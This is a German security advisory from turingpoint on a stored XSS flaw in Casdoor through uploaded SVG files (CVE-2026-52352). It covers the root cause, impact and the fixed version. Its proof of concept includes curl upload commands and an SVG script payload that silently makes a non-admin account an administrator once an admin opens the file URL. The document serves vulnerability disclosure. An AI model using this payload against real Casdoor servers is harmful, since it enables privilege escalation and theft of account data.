Casdoor: Stored XSS über hochgeladene SVG-Dateien

Ein authentifizierter Benutzer ohne Adminrechte lädt eine SVG-Datei hoch; öffnet ein Administrator deren URL, läuft der eingebettete Skriptcode in der Origin des Casdoor-Servers und schaltet das Angreiferkonto auf Administrator.

Advisory-ID: TP-2026-036
Produkt: Casdoor (Open-Source-Plattform für Identity- und Access-Management mit OAuth 2.0, OIDC, SAML und CAS)
Schwachstellentyp: Stored Cross-Site Scripting über hochgeladene SVG-Dateien (CWE-79)
CVE: CVE-2026-52352
CVSS 3.1: 8.7 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Betroffene Versionen: <= 3.127.0
Behoben in: 3.128.0
Gemeldet: 12. Mai 2026

Zusammenfassung

Casdoor ist eine Open-Source-Plattform für Identity- und Access-Management und dient in Self-Hosted-Umgebungen als zentraler Single-Sign-On für alle angebundenen Anwendungen. Jeder authentifizierte Benutzer kann unabhängig von Rolle und Organisation über POST /api/upload-resource eine Datei hochladen; bei konfiguriertem lokalem Storage-Provider liegt sie danach unter dem öffentlichen statischen Pfad /files und wird mit einem aus der Dateiendung abgeleiteten Content-Type ausgeliefert. Die Antwort enthält weder X-Content-Type-Options noch Content-Security-Policy noch Content-Disposition, sodass eine hochgeladene .svg mit <script>-Inhalt beim direkten Aufruf als aktives Dokument in der Origin des Casdoor-Servers ausgeführt wird. Das Skript läuft mit der Sitzung desjenigen, der den Link öffnet, und bedient die gesamte Casdoor-API mit dessen Rechten. turingpoint hat die Schwachstelle live verifiziert, an den Hersteller gemeldet und den Fix eingereicht, der mit Pull Request #5668 in Version 3.128.0 eingeflossen ist.

Ursache

POST /api/upload-resource (controllers/resource.go:222) nimmt von jedem authentifizierten Aufrufer eine Datei an und legt sie über den Storage-Provider in dem Verzeichnis ab, das main.go:98 mit web.SetStaticPath("/files", "files") als öffentlichen statischen Pfad veröffentlicht. Ist der vom Client gesendete Content-Type weder image noch video, leitet der Handler den Typ aus der Dateiendung ab (controllers/resource.go:262-265), sodass eine .svg als image/svg+xml ausgeliefert wird, also als ein Typ, den Browser als aktives Dokument mit Skriptausführung rendern. Den statischen Pfad bedient beegos serverStaticRouter() über http.ServeContent, und keiner der in main.go:100-110 registrierten Filter setzt auf dieser Antwort Sicherheitsheader, weshalb nosniff, CSP und Content-Disposition vollständig fehlen. Der naheliegende Nachbar-Schutz greift nicht, denn routers/content_type_filter.go prüft ausschließlich die Content-Types eingehender Requests und nicht die der Antworten. Autorisierungsseitig lässt die Policy p, *, *, POST, /api/upload-resource, *, * (authz/authz.go:99) jedes Subject zum Handler durch, sodass ein Benutzer ohne Adminrechte aus einer beliebigen Organisation die Datei platzieren kann.

Proof of Concept

# 1) Beliebiger authentifizierter Nicht-Admin lädt eine SVG-Datei hoch
curl -b "$SESSION" -F "[email protected]" \
  "http://casdoor.example.com:8000/api/upload-resource?owner=acme&user=mallory&application=app-built-in&tag=custom&fullFilePath=payload.svg"

# 2) Die Datei liegt im öffentlichen statischen Pfad, ohne Schutzheader
curl -i http://casdoor.example.com:8000/files/payload.svg
# HTTP/1.1 200 OK
# Content-Type: image/svg+xml
# kein X-Content-Type-Options, kein Content-Security-Policy, kein Content-Disposition

# 3) payload.svg, ausgeführt in der Casdoor-Origin, sobald ein Admin die URL öffnet
# <svg xmlns="http://www.w3.org/2000/svg"><script>
#   fetch('/api/update-user?id=acme/mallory', {method: 'POST', credentials: 'include',
#     body: JSON.stringify({owner: 'acme', name: 'mallory', isAdmin: true})});
# </script></svg>

Weil image/svg+xml ein aktives Dokument ist, führt die direkte Navigation das eingebettete <script> in der Origin des Casdoor-Servers aus, und credentials: 'include' schickt das Sitzungs-Cookie des Administrators mit, das jeder Admin-Endpoint akzeptiert. Live verifiziert: der Nicht-Admin-Account acme/mallory hatte nach dem Klick des Admins isAdmin: true, ein zweites Payload las über /api/get-account das vollständige Admin-Objekt inklusive E-Mail-Adresse und passwordSalt.

Auswirkung

  • Skriptausführung in der Origin des Casdoor-Servers, wodurch die Sitzung jedes Benutzers, der eine hochgeladene Datei-URL öffnet, gegen die komplette API nutzbar wird.
  • Rechteausweitung eines beliebigen Benutzerkontos zum Administrator über /api/update-user in der Admin-Sitzung.
  • Auslesen des Administratorkontos inklusive E-Mail-Adresse und passwordSalt über /api/get-account.
  • Kompromittierung der angebundenen Anwendungen, weil Adminrechte in Casdoor das Anlegen von OAuth-Anwendungen und das Ausstellen von Tokens erlauben.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.